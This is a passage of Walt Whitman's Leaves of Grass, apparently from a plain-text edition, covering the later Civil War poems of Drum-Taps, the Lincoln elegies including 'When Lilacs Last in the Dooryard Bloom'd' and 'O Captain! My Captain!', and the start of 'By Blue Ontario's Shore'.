attendant stands behind aside me holding the tray and pail. + +I am faithful, I do not give out, +The fractur'd thigh, the knee, the wound in the abdomen, +These and more I dress with impassive hand, (yet deep in my breast + a fire, a burning flame.) + + 4 +Thus in silence in dreams' projections, +Returning, resuming, I thread my way through the hospitals, +The hurt and wounded I pacify with soothing hand, +I sit by the restless all the dark night, some are so young, +Some suffer so much, I recall the experience sweet and sad, +(Many a soldier's loving arms about this neck have cross'd and rested, +Many a soldier's kiss dwells on these bearded lips.) + + + +} Long, Too Long America + +Long, too long America, +Traveling roads all even and peaceful you learn'd from joys and + prosperity only, +But now, ah now, to learn from crises of anguish, advancing, + grappling with direst fate and recoiling not, +And now to conceive and show to the world what your children + en-masse really are, +(For who except myself has yet conceiv'd what your children en-masse + really are?) + + + +} Give Me the Splendid Silent Sun + + 1 +Give me the splendid silent sun with all his beams full-dazzling, +Give me autumnal fruit ripe and red from the orchard, +Give me a field where the unmow'd grass grows, +Give me an arbor, give me the trellis'd grape, +Give me fresh corn and wheat, give me serene-moving animals teaching + content, +Give me nights perfectly quiet as on high plateaus west of the + Mississippi, and I looking up at the stars, +Give me odorous at sunrise a garden of beautiful flowers where I can + walk undisturb'd, +Give me for marriage a sweet-breath'd woman of whom I should never tire, +Give me a perfect child, give me away aside from the noise of the + world a rural domestic life, +Give me to warble spontaneous songs recluse by myself, for my own ears only, +Give me solitude, give me Nature, give me again O Nature your primal + sanities! + +These demanding to have them, (tired with ceaseless excitement, and + rack'd by the war-strife,) +These to procure incessantly asking, rising in cries from my heart, +While yet incessantly asking still I adhere to my city, +Day upon day and year upon year O city, walking your streets, +Where you hold me enchain'd a certain time refusing to give me up, +Yet giving to make me glutted, enrich'd of soul, you give me forever faces; +(O I see what I sought to escape, confronting, reversing my cries, +see my own soul trampling down what it ask'd for.) + + 2 +Keep your splendid silent sun, +Keep your woods O Nature, and the quiet places by the woods, +Keep your fields of clover and timothy, and your corn-fields and orchards, +Keep the blossoming buckwheat fields where the Ninth-month bees hum; +Give me faces and streets--give me these phantoms incessant and + endless along the trottoirs! +Give me interminable eyes--give me women--give me comrades and + lovers by the thousand! +Let me see new ones every day--let me hold new ones by the hand every day! +Give me such shows--give me the streets of Manhattan! +Give me Broadway, with the soldiers marching--give me the sound of + the trumpets and drums! +(The soldiers in companies or regiments--some starting away, flush'd + and reckless, +Some, their time up, returning with thinn'd ranks, young, yet very + old, worn, marching, noticing nothing;) +Give me the shores and wharves heavy-fringed with black ships! +O such for me! O an intense life, full to repletion and varied! +The life of the theatre, bar-room, huge hotel, for me! +The saloon of the steamer! the crowded excursion for me! the + torchlight procession! +The dense brigade bound for the war, with high piled military wagons + following; +People, endless, streaming, with strong voices, passions, pageants, +Manhattan streets with their powerful throbs, with beating drums as now, +The endless and noisy chorus, the rustle and clank of muskets, (even + the sight of the wounded,) +Manhattan crowds, with their turbulent musical chorus! +Manhattan faces and eyes forever for me. + + + +} Dirge for Two Veterans + + The last sunbeam +Lightly falls from the finish'd Sabbath, +On the pavement here, and there beyond it is looking, + Down a new-made double grave. + + Lo, the moon ascending, +Up from the east the silvery round moon, +Beautiful over the house-tops, ghastly, phantom moon, + Immense and silent moon. + + I see a sad procession, +And I hear the sound of coming full-key'd bugles, +All the channels of the city streets they're flooding, + As with voices and with tears. + + I hear the great drums pounding, +And the small drums steady whirring, +And every blow of the great convulsive drums, + Strikes me through and through. + + For the son is brought with the father, +(In the foremost ranks of the fierce assault they fell, +Two veterans son and father dropt together, + And the double grave awaits them.) + + Now nearer blow the bugles, +And the drums strike more convulsive, +And the daylight o'er the pavement quite has faded, + And the strong dead-march enwraps me. + + In the eastern sky up-buoying, +The sorrowful vast phantom moves illumin'd, +('Tis some mother's large transparent face, + In heaven brighter growing.) + + O strong dead-march you please me! +O moon immense with your silvery face you soothe me! +O my soldiers twain! O my veterans passing to burial! + What I have I also give you. + + The moon gives you light, +And the bugles and the drums give you music, +And my heart, O my soldiers, my veterans, + My heart gives you love. + + + +} Over the Carnage Rose Prophetic a Voice + +Over the carnage rose prophetic a voice, +Be not dishearten'd, affection shall solve the problems of freedom yet, +Those who love each other shall become invincible, +They shall yet make Columbia victorious. + +Sons of the Mother of All, you shall yet be victorious, +You shall yet laugh to scorn the attacks of all the remainder of the earth. + +No danger shall balk Columbia's lovers, +If need be a thousand shall sternly immolate themselves for one. + +One from Massachusetts shall be a Missourian's comrade, +From Maine and from hot Carolina, and another an Oregonese, shall + be friends triune, +More precious to each other than all the riches of the earth. + +To Michigan, Florida perfumes shall tenderly come, +Not the perfumes of flowers, but sweeter, and wafted beyond death. + +It shall be customary in the houses and streets to see manly affection, +The most dauntless and rude shall touch face to face lightly, +The dependence of Liberty shall be lovers, +The continuance of Equality shall be comrades. + +These shall tie you and band you stronger than hoops of iron, +I, ecstatic, O partners! O lands! with the love of lovers tie you. + +(Were you looking to be held together by lawyers? +Or by an agreement on a paper? or by arms? +Nay, nor the world, nor any living thing, will so cohere.) + + + +} I Saw Old General at Bay + +I saw old General at bay, +(Old as he was, his gray eyes yet shone out in battle like stars,) +His small force was now completely hemm'd in, in his works, +He call'd for volunteers to run the enemy's lines, a desperate emergency, +I saw a hundred and more step forth from the ranks, but two or three + were selected, +I saw them receive their orders aside, they listen'd with care, the + adjutant was very grave, +I saw them depart with cheerfulness, freely risking their lives. + + + +} The Artilleryman's Vision + +While my wife at my side lies slumbering, and the wars are over long, +And my head on the pillow rests at home, and the vacant midnight passes, +And through the stillness, through the dark, I hear, just hear, the + breath of my infant, +There in the room as I wake from sleep this vision presses upon me; +The engagement opens there and then in fantasy unreal, +The skirmishers begin, they crawl cautiously ahead, I hear the + irregular snap! snap! +I hear the sounds of the different missiles, the short t-h-t! t-h-t! + of the rifle-balls, +I see the shells exploding leaving small white clouds, I hear the + great shells shrieking as they pass, +The grape like the hum and whirr of wind through the trees, + (tumultuous now the contest rages,) +All the scenes at the batteries rise in detail before me again, +The crashing and smoking, the pride of the men in their pieces, +The chief-gunner ranges and sights his piece and selects a fuse of + the right time, +After firing I see him lean aside and look eagerly off to note the effect; +Elsewhere I hear the cry of a regiment charging, (the young colonel + leads himself this time with brandish'd sword,) +I see the gaps cut by the enemy's volleys, (quickly fill'd up, no delay,) +I breathe the suffocating smoke, then the flat clouds hover low + concealing all; +Now a strange lull for a few seconds, not a shot fired on either side, +Then resumed the chaos louder than ever, with eager calls and + orders of officers, +While from some distant part of the field the wind wafts to my ears + a shout of applause, (some special success,) +And ever the sound of the cannon far or near, (rousing even in + dreams a devilish exultation and all the old mad joy in the + depths of my soul,) +And ever the hastening of infantry shifting positions, batteries, + cavalry, moving hither and thither, +(The falling, dying, I heed not, the wounded dripping and red + heed not, some to the rear are hobbling,) +Grime, heat, rush, aide-de-camps galloping by or on a full run, +With the patter of small arms, the warning s-s-t of the rifles, + (these in my vision I hear or see,) +And bombs bursting in air, and at night the vari-color'd rockets. + + + +} Ethiopia Saluting the Colors + +Who are you dusky woman, so ancient hardly human, +With your woolly-white and turban'd head, and bare bony feet? +Why rising by the roadside here, do you the colors greet? + +('Tis while our army lines Carolina's sands and pines, +Forth from thy hovel door thou Ethiopia comist to me, +As under doughty Sherman I march toward the sea.) + +Me master years a hundred since from my parents sunder'd, +A little child, they caught me as the savage beast is caught, +Then hither me across the sea the cruel slaver brought. + +No further does she say, but lingering all the day, +Her high-borne turban'd head she wags, and rolls her darkling eye, +And courtesies to the regiments, the guidons moving by. + +What is it fateful woman, so blear, hardly human? +Why wag your head with turban bound, yellow, red and green? +Are the things so strange and marvelous you see or have seen? + + + +} Not Youth Pertains to Me + +Not youth pertains to me, +Nor delicatesse, I cannot beguile the time with talk, +Awkward in the parlor, neither a dancer nor elegant, +In the learn'd coterie sitting constrain'd and still, for learning + inures not to me, +Beauty, knowledge, inure not to me--yet there are two or three things + inure to me, +I have nourish'd the wounded and sooth'd many a dying soldier, +And at intervals waiting or in the midst of camp, +Composed these songs. + + + +} Race of Veterans + +Race of veterans--race of victors! +Race of the soil, ready for conflict--race of the conquering march! +(No more credulity's race, abiding-temper'd race,) +Race henceforth owning no law but the law of itself, +Race of passion and the storm. + + + +} World Take Good Notice + +World take good notice, silver stars fading, +Milky hue ript, wet of white detaching, +Coals thirty-eight, baleful and burning, +Scarlet, significant, hands off warning, +Now and henceforth flaunt from these shores. + + + +} O Tan-Faced Prairie-Boy + +O tan-faced prairie-boy, +Before you came to camp came many a welcome gift, +Praises and presents came and nourishing food, till at last among + the recruits, +You came, taciturn, with nothing to give--we but look'd on each other, +When lo! more than all the gifts of the world you gave me. + + + +} Look Down Fair Moon + +Look down fair moon and bathe this scene, +Pour softly down night's nimbus floods on faces ghastly, swollen, purple, +On the dead on their backs with arms toss'd wide, +Pour down your unstinted nimbus sacred moon. + + + +} Reconciliation + +Word over all, beautiful as the sky, +Beautiful that war and all its deeds of carnage must in time be + utterly lost, +That the hands of the sisters Death and Night incessantly softly + wash again, and ever again, this solid world; +For my enemy is dead, a man divine as myself is dead, +I look where he lies white-faced and still in the coffin--I draw near, +Bend down and touch lightly with my lips the white face in the coffin. + + + +} How Solemn As One by One [Washington City, 1865] + +How solemn as one by one, +As the ranks returning worn and sweaty, as the men file by where stand, +As the faces the masks appear, as I glance at the faces studying the masks, +(As I glance upward out of this page studying you, dear friend, + whoever you are,) +How solemn the thought of my whispering soul to each in the ranks, + and to you, +I see behind each mask that wonder a kindred soul, +O the bullet could never kill what you really are, dear friend, +Nor the bayonet stab what you really are; +The soul! yourself I see, great as any, good as the best, +Waiting secure and content, which the bullet could never kill, +Nor the bayonet stab O friend. + + + +} As I Lay with My Head in Your Lap Camerado + +As I lay with my head in your lap camerado, +The confession I made I resume, what I said to you and the open air + I resume, +I know I am restless and make others so, +I know my words are weapons full of danger, full of death, +For I confront peace, security, and all the settled laws, to + unsettle them, +I am more resolute because all have denied me than I could ever have + been had all accepted me, +I heed not and have never heeded either experience, cautions, + majorities, nor ridicule, +And the threat of what is call'd hell is little or nothing to me, +And the lure of what is call'd heaven is little or nothing to me; +Dear camerado! I confess I have urged you onward with me, and still + urge you, without the least idea what is our destination, +Or whether we shall be victorious, or utterly quell'd and defeated. + + + +} Delicate Cluster + +Delicate cluster! flag of teeming life! +Covering all my lands--all my seashores lining! +Flag of death! (how I watch'd you through the smoke of battle pressing! +How I heard you flap and rustle, cloth defiant!) +Flag cerulean--sunny flag, with the orbs of night dappled! +Ah my silvery beauty--ah my woolly white and crimson! +Ah to sing the song of you, my matron mighty! +My sacred one, my mother. + + + +} To a Certain Civilian + +Did you ask dulcet rhymes from me? +Did you seek the civilian's peaceful and languishing rhymes? +Did you find what I sang erewhile so hard to follow? +Why I was not singing erewhile for you to follow, to understand--nor + am I now; +(I have been born of the same as the war was born, +The drum-corps' rattle is ever to me sweet music, I love well the + martial dirge, +With slow wail and convulsive throb leading the officer's funeral;) +What to such as you anyhow such a poet as I? therefore leave my works, +And go lull yourself with what you can understand, and with piano-tunes, +For I lull nobody, and you will never understand me. + + + +} Lo, Victress on the Peaks + +Lo, Victress on the peaks, +Where thou with mighty brow regarding the world, +(The world O Libertad, that vainly conspired against thee,) +Out of its countless beleaguering toils, after thwarting them all, +Dominant, with the dazzling sun around thee, +Flauntest now unharm'd in immortal soundness and bloom--lo, in + these hours supreme, +No poem proud, I chanting bring to thee, nor mastery's rapturous verse, +But a cluster containing night's darkness and blood-dripping wounds, +And psalms of the dead. + + + +} Spirit Whose Work Is Done [Washington City, 1865] + +Spirit whose work is done--spirit of dreadful hours! +Ere departing fade from my eyes your forests of bayonets; +Spirit of gloomiest fears and doubts, (yet onward ever unfaltering + pressing,) +Spirit of many a solemn day and many a savage scene--electric spirit, +That with muttering voice through the war now closed, like a + tireless phantom flitted, +Rousing the land with breath of flame, while you beat and beat the drum, +Now as the sound of the drum, hollow and harsh to the last, + reverberates round me, +As your ranks, your immortal ranks, return, return from the battles, +As the muskets of the young men yet lean over their shoulders, +As I look on the bayonets bristling over their shoulders, +As those slanted bayonets, whole forests of them appearing in the + distance, approach and pass on, returning homeward, +Moving with steady motion, swaying to and fro to the right and left, +Evenly lightly rising and falling while the steps keep time; +Spirit of hours I knew, all hectic red one day, but pale as death next day, +Touch my mouth ere you depart, press my lips close, +Leave me your pulses of rage--bequeath them to me--fill me with + currents convulsive, +Let them scorch and blister out of my chants when you are gone, +Let them identify you to the future in these songs. + + + +} Adieu to a Soldier + +Adieu O soldier, +You of the rude campaigning, (which we shared,) +The rapid march, the life of the camp, +The hot contention of opposing fronts, the long manoeuvre, +Red battles with their slaughter, the stimulus, the strong terrific game, +Spell of all brave and manly hearts, the trains of time through you + and like of you all fill'd, +With war and war's expression. + +Adieu dear comrade, +Your mission is fulfill'd--but I, more warlike, +Myself and this contentious soul of mine, +Still on our own campaigning bound, +Through untried roads with ambushes opponents lined, +Through many a sharp defeat and many a crisis, often baffled, +Here marching, ever marching on, a war fight out--aye here, +To fiercer, weightier battles give expression. + + + +} Turn O Libertad + +Turn O Libertad, for the war is over, +From it and all henceforth expanding, doubting no more, resolute, + sweeping the world, +Turn from lands retrospective recording proofs of the past, +From the singers that sing the trailing glories of the past, +From the chants of the feudal world, the triumphs of kings, slavery, caste, +Turn to the world, the triumphs reserv'd and to come--give up that + backward world, +Leave to the singers of hitherto, give them the trailing past, +But what remains remains for singers for you--wars to come are for you, +(Lo, how the wars of the past have duly inured to you, and the wars + of the present also inure;) +Then turn, and be not alarm'd O Libertad--turn your undying face, +To where the future, greater than all the past, +Is swiftly, surely preparing for you. + + + +} To the Leaven'd Soil They Trod + +To the leaven'd soil they trod calling I sing for the last, +(Forth from my tent emerging for good, loosing, untying the tent-ropes,) +In the freshness the forenoon air, in the far-stretching circuits + and vistas again to peace restored, +To the fiery fields emanative and the endless vistas beyond, to the + South and the North, +To the leaven'd soil of the general Western world to attest my songs, +To the Alleghanian hills and the tireless Mississippi, +To the rocks I calling sing, and all the trees in the woods, +To the plains of the poems of heroes, to the prairies spreading wide, +To the far-off sea and the unseen winds, and the sane impalpable air; +And responding they answer all, (but not in words,) +The average earth, the witness of war and peace, acknowledges mutely, +The prairie draws me close, as the father to bosom broad the son, +The Northern ice and rain that began me nourish me to the end, +But the hot sun of the South is to fully ripen my songs. + + + +[BOOK XXII. MEMORIES OF PRESIDENT LINCOLN] + +} When Lilacs Last in the Dooryard Bloom'd + + 1 +When lilacs last in the dooryard bloom'd, +And the great star early droop'd in the western sky in the night, +I mourn'd, and yet shall mourn with ever-returning spring. + +Ever-returning spring, trinity sure to me you bring, +Lilac blooming perennial and drooping star in the west, +And thought of him I love. + + 2 +O powerful western fallen star! +O shades of night--O moody, tearful night! +O great star disappear'd--O the black murk that hides the star! +O cruel hands that hold me powerless--O helpless soul of me! +O harsh surrounding cloud that will not free my soul. + + + 3 +In the dooryard fronting an old farm-house near the white-wash'd palings, +Stands the lilac-bush tall-growing with heart-shaped leaves of rich green, +With many a pointed blossom rising delicate, with the perfume strong I love, +With every leaf a miracle--and from this bush in the dooryard, +With delicate-color'd blossoms and heart-shaped leaves of rich green, +A sprig with its flower I break. + + 4 +In the swamp in secluded recesses, +A shy and hidden bird is warbling a song. + +Solitary the thrush, +The hermit withdrawn to himself, avoiding the settlements, +Sings by himself a song. + +Song of the bleeding throat, +Death's outlet song of life, (for well dear brother I know, +If thou wast not granted to sing thou wouldist surely die.) + + 5 +Over the breast of the spring, the land, amid cities, +Amid lanes and through old woods, where lately the violets peep'd + from the ground, spotting the gray debris, +Amid the grass in the fields each side of the lanes, passing the + endless grass, +Passing the yellow-spear'd wheat, every grain from its shroud in the + dark-brown fields uprisen, +Passing the apple-tree blows of white and pink in the orchards, +Carrying a corpse to where it shall rest in the grave, +Night and day journeys a coffin. + + 6 +Coffin that passes through lanes and streets, +Through day and night with the great cloud darkening the land, +With the pomp of the inloop'd flags with the cities draped in black, +With the show of the States themselves as of crape-veil'd women standing, +With processions long and winding and the flambeaus of the night, +With the countless torches lit, with the silent sea of faces and the + unbared heads, +With the waiting depot, the arriving coffin, and the sombre faces, +With dirges through the night, with the thousand voices rising strong + and solemn, +With all the mournful voices of the dirges pour'd around the coffin, +The dim-lit churches and the shuddering organs--where amid these + you journey, +With the tolling tolling bells' perpetual clang, +Here, coffin that slowly passes, +I give you my sprig of lilac. + + 7 +(Nor for you, for one alone, +Blossoms and branches green to coffins all I bring, +For fresh as the morning, thus would I chant a song for you O sane + and sacred death. + +All over bouquets of roses, +O death, I cover you over with roses and early lilies, +But mostly and now the lilac that blooms the first, +Copious I break, I break the sprigs from the bushes, +With loaded arms I come, pouring for you, +For you and the coffins all of you O death.) + + 8 +O western orb sailing the heaven, +Now I know what you must have meant as a month since I walk'd, +As I walk'd in silence the transparent shadowy night, +As I saw you had something to tell as you bent to me night after night, +As you droop'd from the sky low down as if to my side, (while the + other stars all look'd on,) +As we wander'd together the solemn night, (for something I know not + what kept me from sleep,) +As the night advanced, and I saw on the rim of the west how full you + were of woe, +As I stood on the rising ground in the breeze in the cool transparent night, +As I watch'd where you pass'd and was lost in the netherward black + of the night, +As my soul in its trouble dissatisfied sank, as where you sad orb, +Concluded, dropt in the night, and was gone. + + 9 +Sing on there in the swamp, +O singer bashful and tender, I hear your notes, I hear your call, +I hear, I come presently, I understand you, +But a moment I linger, for the lustrous star has detain'd me, +The star my departing comrade holds and detains me. + + 10 +O how shall I warble myself for the dead one there I loved? +And how shall I deck my song for the large sweet soul that has gone? +And what shall my perfume be for the grave of him I love? + +Sea-winds blown from east and west, +Blown from the Eastern sea and blown from the Western sea, till + there on the prairies meeting, +These and with these and the breath of my chant, +I'll perfume the grave of him I love. + + 11 +O what shall I hang on the chamber walls? +And what shall the pictures be that I hang on the walls, +To adorn the burial-house of him I love? +Pictures of growing spring and farms and homes, +With the Fourth-month eve at sundown, and the gray smoke lucid and bright, +With floods of the yellow gold of the gorgeous, indolent, sinking + sun, burning, expanding the air, +With the fresh sweet herbage under foot, and the pale green leaves + of the trees prolific, +In the distance the flowing glaze, the breast of the river, with a + wind-dapple here and there, +With ranging hills on the banks, with many a line against the sky, + and shadows, +And the city at hand with dwellings so dense, and stacks of chimneys, +And all the scenes of life and the workshops, and the workmen + homeward returning. + + 12 +Lo, body and soul--this land, +My own Manhattan with spires, and the sparkling and hurrying tides, + and the ships, +The varied and ample land, the South and the North in the light, + Ohio's shores and flashing Missouri, +And ever the far-spreading prairies cover'd with grass and corn. + +Lo, the most excellent sun so calm and haughty, +The violet and purple morn with just-felt breezes, +The gentle soft-born measureless light, +The miracle spreading bathing all, the fulfill'd noon, +The coming eve delicious, the welcome night and the stars, +Over my cities shining all, enveloping man and land. + + 13 +Sing on, sing on you gray-brown bird, +Sing from the swamps, the recesses, pour your chant from the bushes, +Limitless out of the dusk, out of the cedars and pines. + +Sing on dearest brother, warble your reedy song, +Loud human song, with voice of uttermost woe. + +O liquid and free and tender! +O wild and loose to my soul--O wondrous singer! +You only I hear--yet the star holds me, (but will soon depart,) +Yet the lilac with mastering odor holds me. + + 14 +Now while I sat in the day and look'd forth, +In the close of the day with its light and the fields of spring, and + the farmers preparing their crops, +In the large unconscious scenery of my land with its lakes and forests, +In the heavenly aerial beauty, (after the perturb'd winds and the storms,) +Under the arching heavens of the afternoon swift passing, and the + voices of children and women, +The many-moving sea-tides, and I saw the ships how they sail'd, +And the summer approaching with richness, and the fields all busy + with labor, +And the infinite separate houses, how they all went on, each with + its meals and minutia of daily usages, +And the streets how their throbbings throbb'd, and the cities pent-- + lo, then and there, +Falling upon them all and among them all, enveloping me with the rest, +Appear'd the cloud, appear'd the long black trail, +And I knew death, its thought, and the sacred knowledge of death. + +Then with the knowledge of death as walking one side of me, +And the thought of death close-walking the other side of me, +And I in the middle as with companions, and as holding the hands of + companions, +I fled forth to the hiding receiving night that talks not, +Down to the shores of the water, the path by the swamp in the dimness, +To the solemn shadowy cedars and ghostly pines so still. + +And the singer so shy to the rest receiv'd me, +The gray-brown bird I know receiv'd us comrades three, +And he sang the carol of death, and a verse for him I love. + +From deep secluded recesses, +From the fragrant cedars and the ghostly pines so still, +Came the carol of the bird. + +And the charm of the carol rapt me, +As I held as if by their hands my comrades in the night, +And the voice of my spirit tallied the song of the bird. + +Come lovely and soothing death, +Undulate round the world, serenely arriving, arriving, +In the day, in the night, to all, to each, +Sooner or later delicate death. + +Prais'd be the fathomless universe, +For life and joy, and for objects and knowledge curious, +And for love, sweet love--but praise! praise! praise! +For the sure-enwinding arms of cool-enfolding death. + +Dark mother always gliding near with soft feet, +Have none chanted for thee a chant of fullest welcome? +Then I chant it for thee, I glorify thee above all, +I bring thee a song that when thou must indeed come, come unfalteringly. + +Approach strong deliveress, +When it is so, when thou hast taken them I joyously sing the dead, +Lost in the loving floating ocean of thee, +Laved in the flood of thy bliss O death. + +From me to thee glad serenades, +Dances for thee I propose saluting thee, adornments and feastings for thee, +And the sights of the open landscape and the high-spread shy are fitting, +And life and the fields, and the huge and thoughtful night. + +The night in silence under many a star, +The ocean shore and the husky whispering wave whose voice I know, +And the soul turning to thee O vast and well-veil'd death, +And the body gratefully nestling close to thee. + +Over the tree-tops I float thee a song, +Over the rising and sinking waves, over the myriad fields and the + prairies wide, +Over the dense-pack'd cities all and the teeming wharves and ways, +I float this carol with joy, with joy to thee O death. + + 15 +To the tally of my soul, +Loud and strong kept up the gray-brown bird, +With pure deliberate notes spreading filling the night. + +Loud in the pines and cedars dim, +Clear in the freshness moist and the swamp-perfume, +And I with my comrades there in the night. + +While my sight that was bound in my eyes unclosed, +As to long panoramas of visions. + +And I saw askant the armies, +I saw as in noiseless dreams hundreds of battle-flags, +Borne through the smoke of the battles and pierc'd with missiles I saw them, +And carried hither and yon through the smoke, and torn and bloody, +And at last but a few shreds left on the staffs, (and all in silence,) +And the staffs all splinter'd and broken. + +I saw battle-corpses, myriads of them, +And the white skeletons of young men, I saw them, +I saw the debris and debris of all the slain soldiers of the war, +But I saw they were not as was thought, +They themselves were fully at rest, they suffer'd not, +The living remain'd and suffer'd, the mother suffer'd, +And the wife and the child and the musing comrade suffer'd, +And the armies that remain'd suffer'd. + + 16 +Passing the visions, passing the night, +Passing, unloosing the hold of my comrades' hands, +Passing the song of the hermit bird and the tallying song of my soul, +Victorious song, death's outlet song, yet varying ever-altering song, +As low and wailing, yet clear the notes, rising and falling, + flooding the night, +Sadly sinking and fainting, as warning and warning, and yet again + bursting with joy, +Covering the earth and filling the spread of the heaven, +As that powerful psalm in the night I heard from recesses, +Passing, I leave thee lilac with heart-shaped leaves, +I leave thee there in the door-yard, blooming, returning with spring. + +I cease from my song for thee, +From my gaze on thee in the west, fronting the west, communing with thee, +O comrade lustrous with silver face in the night. + +Yet each to keep and all, retrievements out of the night, +The song, the wondrous chant of the gray-brown bird, +And the tallying chant, the echo arous'd in my soul, +With the lustrous and drooping star with the countenance full of woe, +With the holders holding my hand nearing the call of the bird, +Comrades mine and I in the midst, and their memory ever to keep, for + the dead I loved so well, +For the sweetest, wisest soul of all my days and lands--and this for + his dear sake, +Lilac and star and bird twined with the chant of my soul, +There in the fragrant pines and the cedars dusk and dim. + + + +} O Captain! My Captain! + +O Captain! my Captain! our fearful trip is done, +The ship has weather'd every rack, the prize we sought is won, +The port is near, the bells I hear, the people all exulting, +While follow eyes the steady keel, the vessel grim and daring; + But O heart! heart! heart! + O the bleeding drops of red, + Where on the deck my Captain lies, + Fallen cold and dead. + +O Captain! my Captain! rise up and hear the bells; +Rise up--for you the flag is flung--for you the bugle trills, +For you bouquets and ribbon'd wreaths--for you the shores a-crowding, +For you they call, the swaying mass, their eager faces turning; + Here Captain! dear father! + This arm beneath your head! + It is some dream that on the deck, + You've fallen cold and dead. + +My Captain does not answer, his lips are pale and still, +My father does not feel my arm, he has no pulse nor will, +The ship is anchor'd safe and sound, its voyage closed and done, +From fearful trip the victor ship comes in with object won; + Exult O shores, and ring O bells! + But I with mournful tread, + Walk the deck my Captain lies, + Fallen cold and dead. + + + +} Hush'd Be the Camps To-Day [May 4, 1865] + +Hush'd be the camps to-day, +And soldiers let us drape our war-worn weapons, +And each with musing soul retire to celebrate, +Our dear commander's death. + +No more for him life's stormy conflicts, +Nor victory, nor defeat--no more time's dark events, +Charging like ceaseless clouds across the sky. +But sing poet in our name, + +Sing of the love we bore him--because you, dweller in camps, know it truly. + +As they invault the coffin there, +Sing--as they close the doors of earth upon him--one verse, +For the heavy hearts of soldiers. + + + +} This Dust Was Once the Man + +This dust was once the man, +Gentle, plain, just and resolute, under whose cautious hand, +Against the foulest crime in history known in any land or age, +Was saved the Union of these States. + + + +[BOOK XXIII] + +} By Blue Ontario's Shore + +By blue Ontario's shore, +As I mused of these warlike days and of peace return'd, and the + dead that return no more, +A Phantom gigantic superb, with stern visage accosted me, +Chant me the poem, it said, that comes from the soul of America, + chant me the carol of victory, +And strike up the marches of Libertad, marches more powerful yet, +And sing me before you go the song of the throes of Democracy. + +(Democracy, the destin'd conqueror, yet treacherous lip-smiles everywhere, +And death and infidelity at every step.) + + 2 +A Nation announcing itself, +I myself make the only growth by which I can be appreciated, +I reject none, accept all, then reproduce all in my own forms. + +A breed whose proof is in time and deeds, +What we are we are, nativity is answer enough to objections, +We wield ourselves as a weapon is wielded, +We are powerful and tremendous in ourselves, +We are executive in ourselves, we are sufficient in the variety of + ourselves, +We are the most beautiful to ourselves and in ourselves, +We stand self-pois'd in the middle, branching thence over the world, +From Missouri, Nebraska, or Kansas, laughing attacks to scorn. + +Nothing is sinful to us outside of ourselves, +Whatever appears, whatever does not appear, we are beautiful or + sinful in ourselves only. + +(O Mother--O Sisters dear! +If we are lost, no victor else has destroy'd us, +It is by ourselves we go down to eternal night.) + + 3 +Have you thought there could be but a single supreme? +There can be any number of supremes--one does not countervail + another any more than one eyesight countervails another, or + one life countervails another. + +All is eligible to all, +All is for individuals, all is for you, +No condition is prohibited, not God's or any. + +All comes by the body, only health puts you rapport with the universe. + +Produce great Persons, the rest follows. + + 4 +Piety and conformity to them that like, +Peace, obesity, allegiance, to them that like, +I am he who tauntingly compels men, women, nations, +Crying, Leap from your seats and contend for your lives! + +I am he who walks the States with a barb'd tongue, questioning every + one I meet, +Who are you that wanted only to be told what you knew before? +Who are you that wanted only a book to join you in your nonsense? + +(With pangs and cries as thine own O bearer of many children, +These clamors wild to a race of pride I give.) + +O lands, would you be freer than all that has ever been before? +If you would be freer than all that has been before, come listen to me. + +Fear grace, elegance, civilization, delicatesse, +Fear the mellow sweet, the sucking of honey--juice, +Beware the advancing mortal ripening of Nature, +Beware what precedes the decay of the ruggedness of states and men. + + 5 +Ages, precedents, have long been accumulating undirected materials, +America brings builders, and brings its own styles. + +The immortal poets of Asia and Europe have done their work and + pass'd to other spheres, +A work remains, the work of surpassing all they have done. + +America, curious toward foreign characters, stands by its own at all + hazards, +Stands removed, spacious, composite, sound, initiates the true use + of precedents, +Does not repel them or the past or what they have produced under + their forms, +Takes the lesson with calmness, perceives the corpse slowly borne + from the house, +Perceives that it waits a little while in the door, that it was + fittest for its days, +That its life has descended to the stalwart and well-shaped heir who + approaches, +And that he shall be fittest for his days. + +Any period one nation must lead, +One land must be the promise and reliance of the future. + +These States are the amplest poem, +Here is not merely a nation but a teeming Nation of nations, +Here the doings of men correspond with the broadcast doings of the + day and night, +Here is what moves in magnificent masses careless of particulars, +Here are the roughs, beards, friendliness, combativeness, the soul loves, +Here the flowing trains, here the crowds, equality, diversity, the + soul loves. + + 6 +Land of lands and bards to corroborate! +Of them standing among them, one lifts to the light a west-bred face, +To him the hereditary countenance bequeath'd both mother's and father's, +His first parts substances, earth, water, animals, trees, +Built of the common stock, having room for far and near, +Used to dispense with other lands, incarnating this land, +Attracting it body and soul to himself, hanging on its neck with + incomparable love, +Plunging his seminal muscle into its merits and demerits, +Making its cities, beginnings, events, diversities, wars, vocal in him, +Making its rivers, lakes, bays, embouchure in him, +Mississippi with yearly freshets and changing chutes, Columbia, + Niagara, Hudson, spending themselves lovingly in him, +If the Atlantic coast stretch or the Pacific coast stretch, he + stretching with them North or South, +Spanning between them East and West, and touching whatever is between them, +Growths growing from him to offset the growths of pine, cedar, hemlock, + live-oak, locust, chestnut, hickory, cottonwood, orange, magnolia, +Tangles as tangled in him as any canebrake or swamp, +He likening sides and peaks of mountains, forests coated with + northern transparent ice, +Off him pasturage sweet and natural as savanna, upland, prairie, +Through him flights, whirls, screams, answering those of the + fish-hawk, mocking-bird, night-heron, and eagle, +His spirit surrounding his country's spirit, unclosed to good and evil, +Surrounding the essences of real things, old times and present times, +Surrounding just found shores, islands, tribes of red aborigines, +Weather-beaten vessels, landings, settlements, embryo stature and muscle, +The haughty defiance of the Year One, war, peace, the formation of + the Constitution, +The separate States, the simple elastic scheme, the immigrants, +The Union always swarming with blatherers and always sure and impregnable, +The unsurvey'd interior, log-houses, clearings, wild animals, + hunters, trappers, +Surrounding the multiform agriculture, mines, temperature, the + gestation of new States, +Congress convening every Twelfth-month, the members duly coming + up from the uttermost parts, +Surrounding the noble character of mechanics and farmers, especially + the young men, +Responding their manners, speech, dress, friendships, the gait they + have of persons who never knew how it felt to stand in the + presence of superiors, +The freshness and candor of their physiognomy, the copiousness and + decision of their phrenology, +The picturesque looseness of their carriage, their fierceness when wrong'd, +The fluency of their speech, their delight in music, their curiosity, + good temper and open-handedness, the whole composite make, +The prevailing ardor and enterprise, the large amativeness, +The perfect equality of the female with the male, the fluid movement + of the population, +The superior marine, free commerce, fisheries, whaling, gold-digging, +Wharf-hemm'd cities, railroad and steamboat lines intersecting all points, +Factories, mercantile life, labor-saving machinery, the Northeast, + Northwest, Southwest, +Manhattan firemen, the Yankee swap, southern plantation life, +Slavery--the murderous, treacherous conspiracy to raise it upon the + ruins of all the rest, +On and on to the grapple with it--Assassin! then your life or ours + be the stake, 